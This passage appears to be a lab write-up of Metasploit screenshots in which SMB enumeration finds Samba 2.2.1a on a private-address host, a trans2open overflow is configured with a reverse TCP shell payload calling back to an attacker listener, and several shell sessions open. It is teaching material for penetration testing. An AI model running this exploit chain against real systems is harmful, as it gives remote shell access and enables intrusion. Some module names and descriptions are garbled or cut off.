33	exploit/windows/browser/ms10_022_ie_vbscript_winhpl32	2010-02-26	great	No	MS10-022 Microsoft Internet Explorer
34	exploit/windows/ smb /ms10_061_spools	2010-09-14	excellent	No	MS10-061 Microsoft Print Spooler Serv
35	exploit/windows/fileformat/ms13_071_theme	2013-09-10	excellent	No	MS13-071 Microsoft Windows Themes Pro
36	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Microsoft Windows OLE Packag
37	exploit/windows/ smb /ms17_010_ternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windo
38	exploit/windows/ smb /ms17_010_ternalblue_wins8	2017-03-14	average	No	MS17-010 EternalBlue SMB Remote Windo
39	exploit/windows/ smb /ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynerg
40	auxiliary/admin/ smb /ms17_010_command		normal	No	MS17-010 SMB RCE Detection
41	auxiliary/scanner/ smb /ms17_010		normal	No	Microsoft Plug and Play Service Regis
42	auxiliary/dos/windows/ smb /ms05_047_pnp		normal	No	Microsoft Plug and Play Service Registr
43	auxiliary/dos/windows/ smb /rras_vls_null_deref	2006-06-14	normal	No	Microsoft RRAS InterfaceAdjustLSPoint
44	auxiliary/admin/mssql/mssql_ntlm_stealer		normal	No	Microsoft SQL Server NTLM Stealer
45	auxiliary/admin/mssql/mssql_ntlm_stealer_sqli		normal	No	Microsoft SQL Server SQLi NTLM Stealer
46	auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli		normal	No	Microsoft SQL Server SQLi SUSER_SNAME
47	auxiliary/admin/mssql/mssql_enum_domain_accounts		normal	No	Microsoft SQL Server SUSER_SNAME Windo
48	auxiliary/dos/windows/ smb /ms06_035_mailslot	2006-07-11	normal	No	Microsoft SRV.SYS Mailslot Write Corru
49	auxiliary/dos/windows/ smb /ms06_063_tran		normal	No	Microsoft SRV.SYS Pipe Transaction No
50	auxiliary/dos/windows/ smb /ms09_001_write		normal	No	Microsoft SRV2.SYS SMB Negotiate Invalid Da
51	auxiliary/dos/windows/ smb /ms09_050_ smb _negotiate_pidhigh		normal	No	Microsoft SRV2.SYS SMB Negotiate Proceed
52	auxiliary/dos/windows/ smb /ms09_050_smb2_session_logoff		normal	No	Microsoft SRV2.SYS SMB Logoff Remote
53	auxiliary/dos/windows/ smb /vista_negotiate_stop		normal	No	Microsoft Vista SP0 SMB Negotiate Prot
54	auxiliary/dos/windows/ smb /ms10_006_negotiate_response_loop		normal	No	Microsoft Windows 7 / Server 2008 R2 S
55	auxiliary/scanner/ smb /psexec_loggedin_users		normal	No	Microsoft Windows Authenticated Logged
56	exploit/windows/ smb /psexec	1999-01-01	manual	No	Microsoft Windows Authenticated User C
57	auxiliary/dos/windows/ smb /ms11_019_electbowser		normal	No	Microsoft Windows Browser Pool DoS
58	exploit/windows/ smb /rras_erraticgopher	2017-06-13	average	Yes	Microsoft Windows RRAS Service MBENTR
59	auxiliary/dos/windows/ smb /ms10_054_queryeps_pool_overflow		normal	No	Microsoft Windows SRV.SYS SrvQueryEPS
60	exploit/windows/ smb /ms10_046_shortcut_icon_dlloader	2010-07-16	excellent	No	Microsoft Windows Shell LNK Code Execu
61	exploit/windows/ smb /ms10_020_shortcut_icon_dlloader	2015-03-10	excellent	No	Microsoft Windows Shell LNK Code Execu
62	auxiliary/docx/word_unc_injector		normal	No	Microsoft Word UNC Path Injector
63	auxiliary/spoof/nbns/nbns_response		normal	No	NetBIOS Name Service Spoof
64	exploit/windows/ smb /netidentity_xtierpcpipe	2009-04-06	great	No	Novell NetIdentity Agent XTIERRPCPIPE
65	exploit/network/ smb /lsass_cifs	2007-01-21	average	No	Novell NetWare LSASS CIFS.NLM Driver S
66	exploit/windows/oracle/exjob	2007-01-01	excellent	Yes	Oracle Job Scheduler Named Pipe Comm
67	auxiliary/admin/oracle/ora_ntlm_stealer	2009-04-07	normal	No	Oracle SMB Relay Code Execution
68	auxiliary/admin/ smb /psexec_ntdsgrab		normal	No	PsExec NTDS.dit And SYSTEM Hive Downlo
69	auxiliary/scanner/sap/ smb _relay		normal	No	SAP SMB Relay Abuse
70	auxiliary/dos/sap/soap_rfc_eps_delete_file		normal	No	SAP SOAP EPS_DELETE_FILE Deletion
71	auxiliary/scanner/sap/soap_rfc_eps_get_directory_listing		normal	No	SAP SOAP RFC_EPS_GET_DIRECTORY_LISTING
72	auxiliary/scanner/sap/soap_rfc_pfl_check_os_file_existence		normal	No	SAP SOAP RFC_PFL_CHECK_OS_FILE_EXISTEN
73	auxiliary/scanner/sap/soap_rfc_rrl_read_dir		normal	No	SAP SOAP RFC_RRL_READ_DIR_LOCAL Direct
74	auxiliary/fuzzers/ smb / smb _create_pipe_corrupt		normal	No	SMB Create Pipe Request Corruption
75	auxiliary/fuzzers/ smb / smb _create_pipe_fuzzer		normal	No	SMB Create Pipe Request Fuzzer
76	exploit/windows/ smb / smb _doublepulsar_rce	2017-04-14	great	Yes	SMB DOUBLEPULSAR Remote Code Executio
77	exploit/windows/ smb / smb _delivery	2016-07-26	excellent	No	SMB Delivery
78	auxiliary/admin/ smb /list_directory		normal	No	SMB Directory Listing Utility
79	auxiliary/scanner/ smb / smb _enumusers_domain		normal	No	SMB Domain User Enumeration
80	auxiliary/admin/ smb /delete_file		normal	No	SMB File Delete Utility
81	auxiliary/admin/ smb /download_file		normal	No	SMB File Download Utility
82	auxiliary/admin/ smb /upload_file		normal	No	SMB File Upload Utility
83	auxiliary/scanner/ smb / smb _enum_gpp		normal	No	SMB Group Policy Preference Saved Pass
84	auxiliary/scanner/ smb / smb _login		normal	No	SMB Login Check Scanner
85	auxiliary/fuzzers/ smb / smb _ntlm1_login_corrupt		normal	No	SMB NTLMv1 Login Request Corruption
86	auxiliary/fuzzers/ smb / smb _negotiate_corrupt		normal	No	SMB Negotiate Dialect Corruption
87	auxiliary/fuzzers/ smb / smb _negotiate_corrupt		normal	No	SMB Negotiate SMB2 Dialect Corruption
88	auxiliary/scanner/ smb / smb _lookupsid		normal	No	SMB SID User Enumeration (LookupSid)
89	auxiliary/admin/ smb /check_dir_file		normal	No	SMB Scanner Check File/Directory Utili
90	auxiliary/scanner/ smb /pipe_auditor		normal	No	SMB Session Pipe Auditor
91	auxiliary/scanner/ smb /pipe_dcerpc_auditor		normal	No	SMB Session Pipe DCERPC Auditor
92	auxiliary/scanner/ smb /smb2		normal	No	SMB2 Session Pipe DCERPC Auditor

adriela@kali: ~

POC 11

```
[+] adriela@kali: ~
eformat/multidrop

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):

      Name      Current Setting  Required  Description
      ----      -----          -----      -----
      RHOSTS            yes        The target host(s), range CIDR identifier, or hosts
file wi
                                th syntax 'file:<path>'
      THREADS          1         yes        The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_version) > 
```

POC 12

```
msf6 auxiliary(scanner/smb/smb_version) > set rhost 10.211.55.5
rhost => 10.211.55.5
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.211.55.5:139      - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 10.211.55.5:139      - Host could not be identified: Unix (Samba 2.2.1a)
[*] 10.211.55.5:          - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > 
```

POC 13

Exploit Title	Path
Samba 2.0.x/2.2 - Arbitrary File Creation	unix/remote/20968.txt
Samba 2.2.0 < 2.2.8 (OSX) - translopen Overflow (Metasploit)	osx/remote/9924.rb
Samba 2.2.2 < 2.2.6 - 'ntrans' Remote Buffer Overflow (Metasploit)	linux/remote/16321.rb
Samba 2.2.8 (BSD x86) - 'translopen' Remote Overflow (Metasploit)	bsd_x86/remote/16880.rb
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Shared Memory Overflow (Metasploit)	linux/local/23674.txt
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)	linux_x86/remote/16861.rb
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit)	osx_ppc/remote/16876.rb
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit)	solaris_sparc/remote/16330.rb
Samba 2.2.8 - Bruteforce Method Remote Command Execution	linux/remote/55.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (Metasploit)	unix/remote/22468.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (Metasploit)	unix/remote/22469.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (Metasploit)	unix/remote/22470.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (Metasploit)	unix/remote/22471.txt
Samba 2.2.x - 'ntrans' Remote Overflow (Metasploit)	linux/remote/9936.rb
Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assembling	unix/remote/22356.c
Samba 2.2.x - Remote Buffer Overflow	linux/remote/7.pl
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution	multiple/remote/10.c
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution	multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow	linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)	linux_x86/dos/36741.py

POC 14

```
msf6 > searchsploit trans2open
[*] exec: searchsploit trans2open

-----
----- Exploit Title | Path
-----
Samba 2.2.0 < 2.2.8 (OSX) - 'trans2open' Overflow (Metasploit) | osx/remote/9924.
Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit) | bsd_x86/remote/1
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit) | linux_x86/remote/
rb
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit) | osx_ppc/remote/1
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit) | solaris_sparc/re
330.rb
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1) | unix/remote/2246
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (2) | unix/remote/2246
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3) | unix/remote/2247
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4) | unix/remote/2247
```

POC 15

```
msf6 > search trans2open
Matching Modules
=====
#  Name                               Disclosure Date  Rank   Check  Description
-  ---
0  exploit/freebsd/samba/trans2open  2003-04-07    great  No    Samba trans2open Ove
rflow (*BSD x86)
1  exploit/linux/samba/trans2open   2003-04-07    great  No    Samba trans2open Ove
rflow (Linux x86)
2  exploit/osx/samba/trans2open   2003-04-07    great  No    Samba trans2open Ove
rflow (Mac OS X PPC)
3  exploit/solaris/samba/trans2open 2003-04-07    great  No    Samba trans2open Ove
rflow (Solaris SPARC)

Interact with a module by name or index. For example info 3, use 3 or use exploit/solaris/s
amba/trans2open
```

POC 16

```
msf6 exploit(linux/samba/trans2open) > options
Module options (exploit/linux/samba/trans2open):
Name  Current Setting  Required  Description
----  -----  -----  -----
RHOSTS          yes      The target host(s), range CIDR identifier, or hosts
file with syntax 'file:<path>'
RPORT           139      yes      The target port (TCP)

Payload options (linux/x86/meterpreter/reverse_tcp):
Name  Current Setting  Required  Description
----  -----  -----  -----
LHOST  10.211.55.3    yes      The listen address (an interface may be specified)
LPORT  4444            yes      The listen port

Exploit target:
Id  Name
--  --
0  Samba 2.2.x - Bruteforce
```

POC 17

```
msf6 exploit(linux/samba/trans2open) > set rhost 10.211.55.5
rhost => 10.211.55.5
msf6 exploit(linux/samba/trans2open) > show payloads

Compatible Payloads
=====
#  Name                               Disclosure Date  Rank   Check  Description
-  ----
0  payload/generic/custom            normal          No    Custom Payload
1  payload/generic/debug_trap       normal          No    Generic x86 Debug Trap
2  payload/generic/shell_bind_tcp   normal          No    Generic Command Shell, Bind TCP
3  payload/generic/shell_reverse_tcp normal          No    Generic Command Shell, Reverse TCP
4  payload/generic/tight_loop      normal          No    Generic x86 Tight Loop
5  payload/linux/x86/adduser        normal          No    Linux Add User
6  payload/linux/x86/chmod         normal          No    Linux Chmod
7  payload/linux/x86/exec          normal          No    Linux Execute Command
8  payload/linux/x86/metasploit/bind_ipv6_tcp  normal          No    Linux Metasploit x86, Bind IPv6 TCP
9  payload/linux/x86/metasploit/bind_ipv6_tcp_uuid  normal          No    Linux Metasploit x86, Bind IPv6 TCP UUID
10 payload/linux/x86/metasploit/bind_nonx_tcp  normal          No    Linux Metasploit x86, Bind TCP Stager
11 payload/linux/x86/metasploit/bind_tcp        normal          No    Linux Metasploit x86, Bind TCP
12 payload/linux/x86/metasploit/bind_tcp_uuid  normal          No    Linux Metasploit x86, Bind TCP Stager
13 payload/linux/x86/metasploit/reverse_ipv6_tcp  normal          No    Linux Metasploit x86, Reverse TCP Stager
14 payload/linux/x86/metasploit/reverse_nonx_tcp  normal          No    Linux Metasploit x86, Reverse TCP Stager
15 payload/linux/x86/metasploit/reverse_tcp      normal          No    Linux Metasploit x86, Reverse TCP Stager
16 payload/linux/x86/metasploit/reverse_tcp_uuid  normal          No    Linux Metasploit x86, Reverse TCP Stager
17 payload/linux/x86/metsvc_bind_tcp           normal          No    Linux Meterpreter Service, Bind TCP
18 payload/linux/x86/metsvc_reverse_tcp        normal          No    Linux Meterpreter Service, Reverse TCP
19 payload/linux/x86/read_file                normal          No    Linux Read File
20 payload/linux/x86/shell/bind_ipv6_tcp      normal          No    Linux Command Shell, Bind IPv6 TCP
21 payload/linux/x86/shell/bind_ipv6_tcp_uuid  normal          No    Linux Command Shell, Bind IPv6 TCP UUID
22 payload/linux/x86/shell/bind_nonx_tcp     normal          No    Linux Command Shell, Bind TCP Stager
23 payload/linux/x86/shell/bind_tcp          normal          No    Linux Command Shell, Bind TCP Stager
24 payload/linux/x86/shell/bind_tcp_uuid    normal          No    Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/reverse_ipv6_tcp  normal          No    Linux Command Shell, Reverse TCP Stager
26 payload/linux/x86/shell/reverse_nonx_tcp  normal          No    Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp      normal          No    Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell/reverse_tcp_uuid  normal          No    Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell_bind_ipv6_tcp    normal          No    Linux Command Shell, Bind TCP InLine
30 payload/linux/x86/shell_bind_tcp        normal          No    Linux Command Shell, Bind TCP InLine
31 payload/linux/x86/shell_bind_tcp_random_port  normal          No    Linux Command Shell, Bind TCP Random Port
32 payload/linux/x86/shell_reverse_tcp     normal          No    Linux Command Shell, Reverse TCP InLine
33 payload/linux/x86/shell_reverse_tcp_ip6  normal          No    Linux Command Shell, Reverse TCP InLine
```

POC 18

```
msf6 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > options

Module options (exploit/linux/samba/trans2open):
=====
Name  Current Setting  Required  Description
----  -----          -----  -----
RHOSTS 10.211.55.5    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT  139             yes       The target port (TCP)

Payload options (linux/x86/shell_reverse_tcp):
=====
Name  Current Setting  Required  Description
----  -----          -----  -----
CMD   /bin/sh          yes       The command string to execute
LHOST  10.211.55.3    yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Exploit target:
=====
Id  Name
--  --
0   Samba 2.2.x - BruteForce
```

POC 19

```
msf6 exploit(linux/samba/trans2open) > set lhost 10.211.55.3
lhost => 10.211.55.3
msf6 exploit(linux/samba/trans2open) > run

[*] Started reverse TCP handler on 10.211.55.3:4444
[*] 10.211.55.5:139 - Trying return address 0xbfffffdc...
[*] 10.211.55.5:139 - Trying return address 0xbfffffcfc...
[*] 10.211.55.5:139 - Trying return address 0xbfffffbfc...
[*] 10.211.55.5:139 - Trying return address 0xbfffffafc...
[*] 10.211.55.5:139 - Trying return address 0xbffff9fc...
[*] 10.211.55.5:139 - Trying return address 0xbffff8fc...
[*] Command shell session 1 opened (10.211.55.3:4444 -> 10.211.55.5:32769) at 2021-05-14 12:46:09 -0600

[*] Command shell session 2 opened (10.211.55.3:4444 -> 10.211.55.5:32770) at 2021-05-14 12:46:09 -0600
[*] Command shell session 3 opened (10.211.55.3:4444 -> 10.211.55.5:32771) at 2021-05-14 12:46:13 -0600
```

POC 20